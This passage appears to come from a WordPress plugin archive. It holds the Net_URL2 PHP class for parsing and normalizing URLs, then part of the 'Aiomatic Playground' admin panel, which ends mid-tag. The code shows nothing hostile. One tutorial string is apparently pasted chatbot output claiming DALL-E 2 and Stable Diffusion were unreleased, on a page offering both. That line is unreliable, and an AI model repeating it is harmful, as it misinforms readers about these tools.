EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * @category Networking * @package Net_URL2 * @author Christian Schmidt <schmidt@php.net> * @copyright 2007-2009 Peytz & Co. A/S * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause * @version CVS: $Id$ * @link https://tools.ietf.org/html/rfc3986 */ /** * Represents a URL as per RFC 3986. * * @category Networking * @package Net_URL2 * @author Christian Schmidt <schmidt@php.net> * @copyright 2007-2009 Peytz & Co. A/S * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause * @version Release: @package_version@ * @link https://pear.php.net/package/Net_URL2 */ class Net_URL2 { /** * Do strict parsing in resolve() (see RFC 3986, section 5.2.2). Default * is true. */ const OPTION_STRICT = 'strict'; /** * Represent arrays in query using PHP's [] notation. Default is true. */ const OPTION_USE_BRACKETS = 'use_brackets'; /** * Drop zero-based integer sequences in query using PHP's [] notation. Default * is true. */ const OPTION_DROP_SEQUENCE = 'drop_sequence'; /** * URL-encode query variable keys. Default is true. */ const OPTION_ENCODE_KEYS = 'encode_keys'; /** * Query variable separators when parsing the query string. Every character * is considered a separator. Default is "&". */ const OPTION_SEPARATOR_INPUT = 'input_separator'; /** * Query variable separator used when generating the query string. Default * is "&". */ const OPTION_SEPARATOR_OUTPUT = 'output_separator'; /** * Default options corresponds to how PHP handles $_GET. */ private $_options = array( self::OPTION_STRICT => true, self::OPTION_USE_BRACKETS => true, self::OPTION_DROP_SEQUENCE => true, self::OPTION_ENCODE_KEYS => true, self::OPTION_SEPARATOR_INPUT => '&', self::OPTION_SEPARATOR_OUTPUT => '&', ); /** * @var string|bool */ private $_scheme = false; /** * @var string|bool */ private $_userinfo = false; /** * @var string|bool */ private $_host = false; /** * @var string|bool */ private $_port = false; /** * @var string */ private $_path = ''; /** * @var string|bool */ private $_query = false; /** * @var string|bool */ private $_fragment = false; /** * Constructor. * * @param string $url an absolute or relative URL * @param array $options an array of OPTION_xxx constants * * @uses self::parseUrl() */ public function __construct($url, array $options = array()) { foreach ($options as $optionName => $value) { if (array_key_exists($optionName, $this->_options)) { $this->_options[$optionName] = $value; } } $this->parseUrl($url); } /** * Magic Setter. * * This method will magically set the value of a private variable ($var) * with the value passed as the args * * @param string $var The private variable to set. * @param mixed $arg An argument of any type. * * @return void */ public function __set($var, $arg) { $method = 'set' . $var; if (method_exists($this, $method)) { $this->$method($arg); } } /** * Magic Getter. * * This is the magic get method to retrieve the private variable * that was set by either __set() or it's setter... * * @param string $var The property name to retrieve. * * @return mixed $this->$var Either a boolean false if the * property is not set or the value * of the private property. */ public function __get($var) { $method = 'get' . $var; if (method_exists($this, $method)) { return $this->$method(); } return false; } /** * Returns the scheme, e.g. "http" or "urn", or false if there is no * scheme specified, i.e. if this is a relative URL. * * @return string|bool */ public function getScheme() { return $this->_scheme; } /** * Sets the scheme, e.g. "http" or "urn". Specify false if there is no * scheme specified, i.e. if this is a relative URL. * * @param string|bool $scheme e.g. "http" or "urn", or false if there is no * scheme specified, i.e. if this is a relative * URL * * @return $this * @see getScheme */ public function setScheme($scheme) { $this->_scheme = $scheme; return $this; } /** * Returns the user part of the userinfo part (the part preceding the first * ":"), or false if there is no userinfo part. * * @return string|bool */ public function getUser() { return $this->_userinfo !== false ? preg_replace('(:.*$)', '', $this->_userinfo) : false; } /** * Returns the password part of the userinfo part (the part after the first * ":"), or false if there is no userinfo part (i.e. the URL does not * contain "@" in front of the hostname) or the userinfo part does not * contain ":". * * @return string|bool */ public function getPassword() { return $this->_userinfo !== false ? substr(strstr($this->_userinfo, ':'), 1) : false; } /** * Returns the userinfo part, or false if there is none, i.e. if the * authority part does not contain "@". * * @return string|bool */ public function getUserinfo() { return $this->_userinfo; } /** * Sets the userinfo part. If two arguments are passed, they are combined * in the userinfo part as username ":" password. * * @param string|bool $userinfo userinfo or username * @param string|bool $password optional password, or false * * @return $this */ public function setUserinfo($userinfo, $password = false) { if ($password !== false) { $userinfo .= ':' . $password; } if ($userinfo !== false) { $userinfo = $this->_encodeData($userinfo); } $this->_userinfo = $userinfo; return $this; } /** * Returns the host part, or false if there is no authority part, e.g. * relative URLs. * * @return string|bool a hostname, an IP address, or false */ public function getHost() { return $this->_host; } /** * Sets the host part. Specify false if there is no authority part, e.g. * relative URLs. * * @param string|bool $host a hostname, an IP address, or false * * @return $this */ public function setHost($host) { $this->_host = $host; return $this; } /** * Returns the port number, or false if there is no port number specified, * i.e. if the default port is to be used. * * @return string|bool */ public function getPort() { return $this->_port; } /** * Sets the port number. Specify false if there is no port number specified, * i.e. if the default port is to be used. * * @param string|bool $port a port number, or false * * @return $this */ public function setPort($port) { $this->_port = $port; return $this; } /** * Returns the authority part, i.e. [ userinfo "@" ] host [ ":" port ], or * false if there is no authority. * * @return string|bool */ public function getAuthority() { if (false === $this->_host) { return false; } $authority = ''; if (strlen($this->_userinfo)) { $authority .= $this->_userinfo . '@'; } $authority .= $this->_host; if ($this->_port !== false) { $authority .= ':' . $this->_port; } return $authority; } /** * Sets the authority part, i.e. [ userinfo "@" ] host [ ":" port ]. Specify * false if there is no authority. * * @param string|bool $authority a hostname or an IP address, possibly * with userinfo prefixed and port number * appended, e.g. "foo:bar@example.org:81". * * @return $this */ public function setAuthority($authority) { $this->_userinfo = false; $this->_host = false; $this->_port = false; if ('' === $authority) { $this->_host = $authority; return $this; } if (!preg_match('(^(([^@]*)@)?(.+?)(:(\d*))?$)', $authority, $matches)) { return $this; } if ($matches[1]) { $this->_userinfo = $this->_encodeData($matches[2]); } $this->_host = $matches[3]; if (isset($matches[5]) && strlen($matches[5])) { $this->_port = $matches[5]; } return $this; } /** * Returns the path part (possibly an empty string). * * @return string */ public function getPath() { return $this->_path; } /** * Sets the path part (possibly an empty string). * * @param string $path a path * * @return $this */ public function setPath($path) { $this->_path = $path; return $this; } /** * Returns the query string (excluding the leading "?"), or false if "?" * is not present in the URL. * * @return string|bool * @see getQueryVariables */ public function getQuery() { return $this->_query; } /** * Sets the query string (excluding the leading "?"). Specify false if "?" * is not present in the URL. * * @param string|bool $query a query string, e.g. "foo=1&bar=2" * * @return $this * @see setQueryVariables */ public function setQuery($query) { $this->_query = $query; return $this; } /** * Returns the fragment name, or false if "#" is not present in the URL. * * @return string|bool */ public function getFragment() { return $this->_fragment; } /** * Sets the fragment name. Specify false if "#" is not present in the URL. * * @param string|bool $fragment a fragment excluding the leading "#", or * false * * @return $this */ public function setFragment($fragment) { $this->_fragment = $fragment; return $this; } /** * Returns the query string like an array as the variables would appear in * $_GET in a PHP script. If the URL does not contain a "?", an empty array * is returned. * * @return array */ public function getQueryVariables() { $separator = $this->getOption(self::OPTION_SEPARATOR_INPUT); $encodeKeys = $this->getOption(self::OPTION_ENCODE_KEYS); $useBrackets = $this->getOption(self::OPTION_USE_BRACKETS); $return = array(); for ($part = strtok($this->_query, $separator); strlen($part); $part = strtok($separator) ) { list($key, $value) = explode('=', $part, 2) + array(1 => ''); if ($encodeKeys) { $key = rawurldecode($key); } $value = rawurldecode($value); if ($useBrackets) { $return = $this->_queryArrayByKey($key, $value, $return); } else { if (isset($return[$key])) { $return[$key] = (array) $return[$key]; $return[$key][] = $value; } else { $return[$key] = $value; } } } return $return; } /** * Parse a single query key=value pair into an existing php array * * @param string $key query-key * @param string $value query-value * @param array $array of existing query variables (if any) * * @return mixed */ private function _queryArrayByKey($key, $value, array $array = array()) { if (!strlen($key)) { return $array; } $offset = $this->_queryKeyBracketOffset($key); if ($offset === false) { $name = $key; } else { $name = substr($key, 0, $offset); } if (!strlen($name)) { return $array; } if (!$offset) { // named value $array[$name] = $value; } else { // array $brackets = substr($key, $offset); if (!isset($array[$name])) { $array[$name] = null; } $array[$name] = $this->_queryArrayByBrackets( $brackets, $value, $array[$name] ); } return $array; } /** * Parse a key-buffer to place value in array * * @param string $buffer to consume all keys from * @param string $value to be set/add * @param array $array to traverse and set/add value in * * @throws Exception * @return array */ private function _queryArrayByBrackets($buffer, $value, array $array = null) { $entry = &$array; for ($iteration = 0; strlen($buffer); $iteration++) { $open = $this->_queryKeyBracketOffset($buffer); if ($open !== 0) { // Opening bracket [ must exist at offset 0, if not, there is // no bracket to parse and the value dropped. // if this happens in the first iteration, this is flawed, see // as well the second exception below. if ($iteration) { break; } // @codeCoverageIgnoreStart throw new Exception( 'Net_URL2 Internal Error: '. __METHOD__ .'(): ' . 'Opening bracket [ must exist at offset 0' ); // @codeCoverageIgnoreEnd } $close = strpos($buffer, ']', 1); if (!$close) { // this error condition should never be reached as this is a // private method and bracket pairs are checked beforehand. // See as well the first exception for the opening bracket. // @codeCoverageIgnoreStart throw new Exception( 'Net_URL2 Internal Error: '. __METHOD__ .'(): ' . 'Closing bracket ] must exist, not found' ); // @codeCoverageIgnoreEnd } $index = substr($buffer, 1, $close - 1); if (strlen($index)) { $entry = &$entry[$index]; } else { if (!is_array($entry)) { $entry = array(); } $entry[] = &$index; $entry = &$index; unset($index); } $buffer = substr($buffer, $close + 1); } $entry = $value; return $array; } /** * Query-key has brackets ("...[]") * * @param string $key query-key * * @return bool|int offset of opening bracket, false if no brackets */ private function _queryKeyBracketOffset($key) { if (false !== $open = strpos($key, '[') and false === strpos($key, ']', $open + 1) ) { $open = false; } return $open; } /** * Sets the query string to the specified variable in the query string. * * @param array $array (name => value) array * * @return $this */ public function setQueryVariables(array $array) { if (!$array) { $this->_query = false; } else { $this->_query = $this->buildQuery( $array, $this->getOption(self::OPTION_SEPARATOR_OUTPUT) ); } return $this; } /** * Sets the specified variable in the query string. * * @param string $name variable name * @param mixed $value variable value * * @return $this */ public function setQueryVariable($name, $value) { $array = $this->getQueryVariables(); $array[$name] = $value; $this->setQueryVariables($array); return $this; } /** * Removes the specified variable from the query string. * * @param string $name a query string variable, e.g. "foo" in "?foo=1" * * @return void */ public function unsetQueryVariable($name) { $array = $this->getQueryVariables(); unset($array[$name]); $this->setQueryVariables($array); } /** * Returns a string representation of this URL. * * @return string */ public function getURL() { // See RFC 3986, section 5.3 $url = ''; if ($this->_scheme !== false) { $url .= $this->_scheme . ':'; } $authority = $this->getAuthority(); if ($authority === false && strtolower($this->_scheme) === 'file') { $authority = ''; } $url .= $this->_buildAuthorityAndPath($authority, $this->_path); if ($this->_query !== false) { $url .= '?' . $this->_query; } if ($this->_fragment !== false) { $url .= '#' . $this->_fragment; } return $url; } /** * Put authority and path together, wrapping authority * into proper separators/terminators. * * @param string|bool $authority authority * @param string $path path * * @return string */ private function _buildAuthorityAndPath($authority, $path) { if ($authority === false) { return $path; } $terminator = ($path !== '' && $path[0] !== '/') ? '/' : ''; return '//' . $authority . $terminator . $path; } /** * Returns a string representation of this URL. * * @return string * @link https://php.net/language.oop5.magic#object.tostring */ public function __toString() { return $this->getURL(); } /** * Returns a normalized string representation of this URL. This is useful * for comparison of URLs. * * @return string */ public function getNormalizedURL() { $url = clone $this; $url->normalize(); return $url->getURL(); } /** * Normalizes the URL * * See RFC 3986, Section 6. Normalization and Comparison * * @link https://tools.ietf.org/html/rfc3986#section-6 * * @return void */ public function normalize() { // See RFC 3986, section 6 // Scheme is case-insensitive if ($this->_scheme) { $this->_scheme = strtolower($this->_scheme); } // Hostname is case-insensitive if ($this->_host) { $this->_host = strtolower($this->_host); } // Remove default port number for known schemes (RFC 3986, section 6.2.3) if ('' === $this->_port || $this->_port && $this->_scheme && $this->_port == getservbyname($this->_scheme, 'tcp') ) { $this->_port = false; } // Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1) // Normalize percentage-encoded unreserved characters (section 6.2.2.2) $fields = array(&$this->_userinfo, &$this->_host, &$this->_path, &$this->_query, &$this->_fragment); foreach ($fields as &$field) { if ($field !== false) { $field = $this->_normalize("$field"); } } unset($field); // Path segment normalization (RFC 3986, section 6.2.2.3) $this->_path = self::removeDotSegments($this->_path); // Scheme based normalization (RFC 3986, section 6.2.3) if (false !== $this->_host && '' === $this->_path) { $this->_path = '/'; } // path should start with '/' if there is authority (section 3.3.) if (strlen($this->getAuthority()) && strlen($this->_path) && $this->_path[0] !== '/' ) { $this->_path = '/' . $this->_path; } } /** * Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1) * Normalize percentage-encoded unreserved characters (section 6.2.2.2) * * @param string|array $mixed string or array of strings to normalize * * @return string|array * @see normalize * @see _normalizeCallback() */ private function _normalize($mixed) { return preg_replace_callback( '((?:%[0-9a-fA-Z]{2})+)', array($this, '_normalizeCallback'), $mixed ); } /** * Callback for _normalize() of %XX percentage-encodings * * @param array $matches as by preg_replace_callback * * @return string * @see normalize * @see _normalize * @SuppressWarnings(PHPMD.UnusedPrivateMethod) */ private function _normalizeCallback($matches) { return self::urlencode(urldecode($matches[0])); } /** * Returns whether this instance represents an absolute URL. * * @return bool */ public function isAbsolute() { return (bool) $this->_scheme; } /** * Returns an Net_URL2 instance representing an absolute URL relative to * this URL. * * @param Net_URL2|string $reference relative URL * * @throws Exception * @return $this */ public function resolve($reference) { if (!$reference instanceof Net_URL2) { $reference = new self($reference); } if (!$reference->_isFragmentOnly() && !$this->isAbsolute()) { throw new Exception( 'Base-URL must be absolute if reference is not fragment-only' ); } // A non-strict parser may ignore a scheme in the reference if it is // identical to the base URI's scheme. if (!$this->getOption(self::OPTION_STRICT) && $reference->_scheme == $this->_scheme ) { $reference->_scheme = false; } $target = new self(''); if ($reference->_scheme !== false) { $target->_scheme = $reference->_scheme; $target->setAuthority($reference->getAuthority()); $target->_path = self::removeDotSegments($reference->_path); $target->_query = $reference->_query; } else { $authority = $reference->getAuthority(); if ($authority !== false) { $target->setAuthority($authority); $target->_path = self::removeDotSegments($reference->_path); $target->_query = $reference->_query; } else { if ($reference->_path == '') { $target->_path = $this->_path; if ($reference->_query !== false) { $target->_query = $reference->_query; } else { $target->_query = $this->_query; } } else { if (substr($reference->_path, 0, 1) == '/') { $target->_path = self::removeDotSegments($reference->_path); } else { // Merge paths (RFC 3986, section 5.2.3) if ($this->_host !== false && $this->_path == '') { $target->_path = '/' . $reference->_path; } else { $i = strrpos($this->_path, '/'); if ($i !== false) { $target->_path = substr($this->_path, 0, $i + 1); } $target->_path .= $reference->_path; } $target->_path = self::removeDotSegments($target->_path); } $target->_query = $reference->_query; } $target->setAuthority($this->getAuthority()); } $target->_scheme = $this->_scheme; } $target->_fragment = $reference->_fragment; return $target; } /** * URL is fragment-only * * @SuppressWarnings(PHPMD.UnusedPrivateMethod) * @return bool */ private function _isFragmentOnly() { return ( $this->_fragment !== false && $this->_query === false && $this->_path === '' && $this->_port === false && $this->_host === false && $this->_userinfo === false && $this->_scheme === false ); } /** * Removes dots as described in RFC 3986, section 5.2.4, e.g. * "/foo/../bar/baz" => "/bar/baz" * * @param string $path a path * * @return string a path */ public static function removeDotSegments($path) { $path = (string) $path; $output = ''; // Make sure not to be trapped in an infinite loop due to a bug in this // method $loopLimit = 256; $j = 0; while ('' !== $path && $j++ < $loopLimit) { if (substr($path, 0, 2) === './') { // Step 2.A $path = substr($path, 2); } elseif (substr($path, 0, 3) === '../') { // Step 2.A $path = substr($path, 3); } elseif (substr($path, 0, 3) === '/./' || $path === '/.') { // Step 2.B $path = '/' . substr($path, 3); } elseif (substr($path, 0, 4) === '/../' || $path === '/..') { // Step 2.C $path = '/' . substr($path, 4); $i = strrpos($output, '/'); $output = $i === false ? '' : substr($output, 0, $i); } elseif ($path === '.' || $path === '..') { // Step 2.D $path = ''; } else { // Step 2.E $i = strpos($path, '/', $path[0] === '/'); if ($i === false) { $output .= $path; $path = ''; break; } $output .= substr($path, 0, $i); $path = substr($path, $i); } } if ($path !== '') { $message = sprintf( 'Unable to remove dot segments; hit loop limit %d (left: %s)', $j, var_export($path, true) ); trigger_error($message, E_USER_WARNING); } return $output; } /** * Percent-encodes all non-alphanumeric characters except these: _ . - ~ * Similar to PHP's rawurlencode(), except that it also encodes ~ in PHP * 5.2.x and earlier. * * @param string $string string to encode * * @return string */ public static function urlencode($string) { $encoded = rawurlencode($string); // This is only necessary in PHP < 5.3. $encoded = str_replace('%7E', '~', $encoded); return $encoded; } /** * Returns a Net_URL2 instance representing the canonical URL of the * currently executing PHP script. * * @throws Exception * @return string */ public static function getCanonical() { if (!isset($_SERVER['REQUEST_METHOD'])) { // ALERT - no current URL throw new Exception('Script was not called through a webserver'); } // Begin with a relative URL $url = new self($_SERVER['PHP_SELF']); $url->_scheme = isset($_SERVER['HTTPS']) ? 'https' : 'http'; $url->_host = $_SERVER['SERVER_NAME']; $port = $_SERVER['SERVER_PORT']; if ($url->_scheme == 'http' && $port != 80 || $url->_scheme == 'https' && $port != 443 ) { $url->_port = $port; } return $url; } /** * Returns the URL used to retrieve the current request. * * @return string */ public static function getRequestedURL() { return self::getRequested()->getUrl(); } /** * Returns a Net_URL2 instance representing the URL used to retrieve the * current request. * * @throws Exception * @return $this */ public static function getRequested() { if (!isset($_SERVER['REQUEST_METHOD'])) { // ALERT - no current URL throw new Exception('Script was not called through a webserver'); } // Begin with a relative URL $url = new self($_SERVER['REQUEST_URI']); $url->_scheme = isset($_SERVER['HTTPS']) ? 'https' : 'http'; // Set host and possibly port $url->setAuthority($_SERVER['HTTP_HOST']); return $url; } /** * Returns the value of the specified option. * * @param string $optionName The name of the option to retrieve * * @return mixed */ public function getOption($optionName) { return isset($this->_options[$optionName]) ? $this->_options[$optionName] : false; } /** * A simple version of http_build_query in userland. The encoded string is * percentage encoded according to RFC 3986. * * @param array $data An array, which has to be converted into * QUERY_STRING. Anything is possible. * @param string $separator Separator {@link self::OPTION_SEPARATOR_OUTPUT} * @param string $key For stacked values (arrays in an array). * * @return string */ protected function buildQuery(array $data, $separator, $key = null) { $query = array(); $drop_names = ( $this->_options[self::OPTION_DROP_SEQUENCE] === true && array_keys($data) === array_keys(array_values($data)) ); foreach ($data as $name => $value) { if ($this->getOption(self::OPTION_ENCODE_KEYS) === true) { $name = rawurlencode($name); } if ($key !== null) { if ($this->getOption(self::OPTION_USE_BRACKETS) === true) { $drop_names && $name = ''; $name = $key . '[' . $name . ']'; } else { $name = $key; } } if (is_array($value)) { $query[] = $this->buildQuery($value, $separator, $name); } else { $query[] = $name . '=' . rawurlencode($value); } } return implode($separator, $query); } /** * This method uses a regex to parse the url into the designated parts. * * @param string $url URL * * @return void * @uses self::$_scheme, self::setAuthority(), self::$_path, self::$_query, * self::$_fragment * @see __construct */ protected function parseUrl($url) { // The regular expression is copied verbatim from RFC 3986, appendix B. // The expression does not validate the URL but matches any string. preg_match( '(^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?)', $url, $matches ); // "path" is always present (possibly as an empty string); the rest // are optional. $this->_scheme = !empty($matches[1]) ? $matches[2] : false; $this->setAuthority(!empty($matches[3]) ? $matches[4] : false); $this->_path = $this->_encodeData($matches[5]); $this->_query = !empty($matches[6]) ? $this->_encodeData($matches[7]) : false ; $this->_fragment = !empty($matches[8]) ? $matches[9] : false; } /** * Encode characters that might have been forgotten to encode when passing * in an URL. Applied onto Userinfo, Path and Query. * * @param string $url URL * * @return string * @see parseUrl * @see setAuthority * @link https://pear.php.net/bugs/bug.php?id=20425 */ private function _encodeData($url) { return preg_replace_callback( '([\x-\x20\x22\x3C\x3E\x7F-\xFF]+)', array($this, '_encodeCallback'), $url ); } /** * callback for encoding character data * * @param array $matches Matches * * @return string * @see _encodeData * @SuppressWarnings(PHPMD.UnusedPrivateMethod) */ private function _encodeCallback(array $matches) { return rawurlencode($matches[0]); } } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-playground.php�������������������������������������������������������������������������0000644�����������������00000027140�14757771437�0012050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_playground_panel() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Aiomatic Playground", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="wrap gs_popuptype_holder"> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Text Completion", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("Text Editing", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("DALL-E 2 Image Generator", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-8" class="nav-tab"><?php echo esc_html__("DALL-E 3 Image Generator", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("Stable Diffusion Image Generator", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-11" class="nav-tab"><?php echo esc_html__("Midjourney Image Generator", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-5" class="nav-tab"><?php echo esc_html__("Aiomatic Chat", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-6" class="nav-tab"><?php echo esc_html__("Whisper Speech To Text", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-7" class="nav-tab"><?php echo esc_html__("Text Moderation", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-9" class="nav-tab"><?php echo esc_html__("Plagiarism Checker", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-10" class="nav-tab"><?php echo esc_html__("AI Content Checker", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-0" class="tab-content"> <br/> <h2><?php echo esc_html__("AI Playground", 'aiomatic-automatic-ai-content-writer');?></h2> <p> <?php echo esc_html__("Welcome to this comprehensive tutorial on the 'AI Playground' functionality of the Aiomatic plugin. This powerful tool harnesses the capabilities of artificial intelligence to provide a wide range of features that can enhance your digital experience. In this tutorial, we'll cover several key functionalities of the AI Playground, including text completion, text editing, image generation using AI technologies like DALL-E 2 and Stable Diffusion, a chatbot feature, speech-to-text conversion using the Whisper API, and text moderation. Each of these features can be used in various ways to generate and manage content, interact with users, and more.", 'aiomatic-automatic-ai-content-writer');?> </p> <p> <?php echo esc_html__("Please note that you will also be able to use the shortcodes provided at the bottom of the forms which can be used in the AI Playground. These will add the same forms also to the front end of your site.", 'aiomatic-automatic-ai-content-writer');?> </p> <p> <?php echo esc_html__("Please check below the available playgrounds to test the plugin's features:", 'aiomatic-automatic-ai-content-writer');?> </p> <h4><?php echo esc_html__("Text Completion", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("Text completion is a feature where the AI can continue a text entered by the user. To use this feature, you would typically enter a piece of text, and the AI would generate a continuation of that text. This could be used for a variety of purposes, such as generating ideas for a story or completing a sentence in a natural-sounding way.", 'aiomatic-automatic-ai-content-writer');?> <h4><?php echo esc_html__("Text Editing", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("Text editing is a feature where the AI can be instructed to edit a text in multiple different ways. For example, you might input a piece of text and ask the AI to rewrite it in a more formal or informal tone, to simplify it, or to correct any grammatical errors. This could be useful for improving the quality of written content or adapting it for different audiences.", 'aiomatic-automatic-ai-content-writer');?> <h4><?php echo esc_html__("Image Generation Using DALL-E 2 and Stable Diffusion", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("Image generation is a feature where the AI generates images based on prompts. You would typically enter a text prompt, and the AI would generate an image that represents that prompt. This could be used for a variety of creative purposes, such as generating artwork or visualizing concepts. Please note that as of my last update in September 2021, DALL-E 2 and Stable Diffusion were not released or announced, so I can't provide specific details about these technologies.", 'aiomatic-automatic-ai-content-writer');?> <h4><?php echo esc_html__("Chatbot Feature", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("The chatbot feature allows you to chat with an AI bot, ask questions, and get replies. You would typically enter a question or statement, and the AI would generate a response. This could be used for a variety of purposes, such as answering frequently asked questions, providing customer support, or just having a conversation.", 'aiomatic-automatic-ai-content-writer');?> <h4><?php echo esc_html__("Speech to Text Using the Whisper API", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("Speech to text is a feature where the AI converts speech to text. You would typically record a piece of audio, and the AI would transcribe it into text. This could be useful for a variety of purposes, such as transcribing interviews, dictating notes, or making audio content more accessible.", 'aiomatic-automatic-ai-content-writer');?> <h4><?php echo esc_html__("Text Moderation", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("Text moderation is a feature where the AI filters unwanted content from your site. You would typically set up rules or criteria for what constitutes unwanted content, and the AI would review incoming content and filter out anything that meets those criteria. This could be used for a variety of purposes, such as preventing spam, blocking offensive content, or maintaining a positive community environment.", 'aiomatic-automatic-ai-content-writer');?> <h4><?php echo esc_html__("Plagiarism Checker", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("Check text for plagiarism, using the PlagiarismCheck API.", 'aiomatic-automatic-ai-content-writer');?> <h4><?php echo esc_html__("AI Content Detector", 'aiomatic-automatic-ai-content-writer');?></h4> <?php echo esc_html__("Check texts and detect if are fully AI generated or if they contain chunks of AI generated content, using the PlagiarismCheck API.", 'aiomatic-automatic-ai-content-writer');?> <h4><a href="https://platform.openai.com/playground/chat" target="_blank"><?php echo esc_html__("Check Also OpenAI's Playground", 'aiomatic-automatic-ai-content-writer');?></a></h4> <br/> </div> <div id="tab-1" class="tab-content"> <br/> <?php echo aiomatic_form_shortcode(array( 'temperature' => 'default', 'top_p' => 'default', 'presence_penalty' => 'default', 'frequency_penalty' => 'default', 'model' => 'default' ));?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-text-completion-form]</b></p> </div> <div id="tab-2" class="tab-content"> <br/> <?php echo aiomatic_edit_shortcode(array( 'temperature' => 'default', 'top_p' => 'default', 'model' => 'default' ));?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-text-editing-form]</b></p> </div> <div id="tab-3" class="tab-content"> <br/> <?php echo aiomatic_image_shortcode(array( 'image_size' => 'default', 'image_model' => 'dalle2' ));?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-image-generator-form image_model="dalle2"]</b></p> </div> <div id="tab-8" class="tab-content"> <br/> <?php echo aiomatic_image_shortcode(array( 'image_size' => 'default', 'image_model' => 'dalle3' ));?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-image-generator-form image_model="dalle3"]</b></p> </div> <div id="tab-4" class="tab-content"> <br/> <?php echo aiomatic_stable_image_shortcode(array( 'image_size' => 'default' ));?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-stable-image-generator-form]</b></p> </div> <div id="tab-11" class="tab-content"> <br/> <?php echo aiomatic_midjourney_image_shortcode(array( 'image_size' => 'default' ));?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-midjourney-image-generator-form]</b></p> </div> <div id="tab-5" class="tab-content"> <br/> <?php echo aiomatic_chat_shortcode(array( 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'instant_response' => '', 'show_in_window' => 'off' ));?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-chat-form]</b></p> </div> <div id="tab-6" class="tab-content"> <br/> <?php echo aiomatic_audio_convert(array());?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-audio-converter]</b></p> </div> <div id="tab-7" class="tab-content"> <br/> <?php echo aiomatic_text_moderation(array());?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-text-moderation]</b></p> </div> <div id="tab-9" class="tab-content"> <br/> <?php echo aiomatic_text_plagiarism(array());?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-plagiarism-check]</b></p> </div> <div id="tab-10" 